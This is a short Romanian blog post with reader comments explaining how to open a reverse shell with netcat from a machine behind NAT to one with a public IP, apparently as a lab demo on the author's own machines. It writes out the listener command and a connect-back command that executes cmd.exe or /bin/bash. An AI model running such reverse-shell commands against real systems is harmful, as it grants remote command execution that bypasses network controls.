reverse shell cu netcat
Se dau 2 pc-uri, unul cu IP public (il vom numi PUB), unul cu IP privat (il vom numi PRV), NAT-at.
De pe pc-ul cu IP public vrei sa ai acces la linia de comanda a pc-ului cu IP privat.
Rulam nc pe PUB cu parametrii -lvp 1414:
-l listen mode, for inbound connects
-v verbose [use twice to be more verbose]
-p port local port number

Pe PRV rulam nc cu parametrii -v ipPUB portsetat -e cmd.exe
Daca sistemul de operare era linux, in loc de cmd.exe puteam alege sa execut /bin/bash.
-e prog inbound program to exec [dangerous!!]

In momentul asta, linia de comanda de pe PUB, unde am rulat netcat cu parametrul -l, sa asculte conexiuni din exterior pe portul 1414, am (atentie, prompt-ul s-a modificat cu cel al staiei PRV):

In momentul asta, de pe statia PUB am acces la linia de comanda a statiei PRV (masina virtuala corespunde statiei cu IP privat din exemplu, iar windows 7 cu masina cu IP public):

You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Poti sa faci reverse shell cu ssh.
http://www.plenz.com/reverseshell
Faza proasta la netcat este ca nu ai criptare, which can suck!
Tare! Nu am mai facut reverse shell cu ssh. Merci
eu zic sa inchizi sectiunea asta
)
Spune tot ce ai pe suflet, narcis